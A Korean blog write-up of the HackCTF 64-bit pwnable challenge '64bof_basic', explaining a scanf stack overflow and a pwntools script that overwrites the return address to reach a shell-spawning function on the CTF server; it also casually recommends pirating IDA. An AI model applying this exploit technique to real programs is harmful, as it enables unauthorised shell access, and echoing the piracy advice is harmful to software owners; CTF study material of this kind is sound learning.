미친해커

[HackCTF] Pwnable : x64 Buffer Overflow (64bof_basic) 본문

Hacking/HackCTF

[HackCTF] Pwnable : x64 Buffer Overflow (64bof_basic)

미친해커 2021. 6. 18. 13:26
반응형

이번에는 HackCTF의 첫 64Bit Pwnable 문제이다. 기존까지 IDA 32Bit를 이용해서 디스어셈블을 했지만 이번 문제는
IDA 64Bit를 이용해야 한다, (혹시라도 IDA가 없다면 어둠의 경로를 추천..) 그리고 지금까지는 생략했지만 앞으로 문제를 풀기 전에 checksec를 활용해서 꼭 보호기법을 확인하도록 하자

checksec을 이용하여 바이너리에 걸려있는 보호기법 확인

Full RELRO와 NX가 걸려있다. Full RELRO은 GOT Overwrite 기법을 사용할 수 없고 NX는 shellcode를 삽입하여 실행할 수 없다.

main 함수이다. 처음에 scanf에서 Buffer OverFlow가 발생하는걸 확인했다. 그 후에는 별 다른 취약점이 발생하는 부분이 없어보인다. 아마 ret 주소를 덮어씌우는 문제로 보인다. 보통 NX가 걸려있으면 RTL (Return To Library) 기법을 사용하지만 callMeMaybe 라는 함수가 정의되어 있다.

callMeMaybe 함수는 execve 함수로 Shell을 띄워준다.

공격방법은 scanf를 이용해 BOF 발생 -> ret 주소를 callMeMaybe로 덮어쓰기 하는 방법이다.

# file : 64bof_basic.py
from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3004)

bof = 0x110 + 8

callMeMaybe = p64(0x400606)

payload = 'A' * bof + callMeMaybe

p.sendline(payload)
p.interactive()

반응형
Comments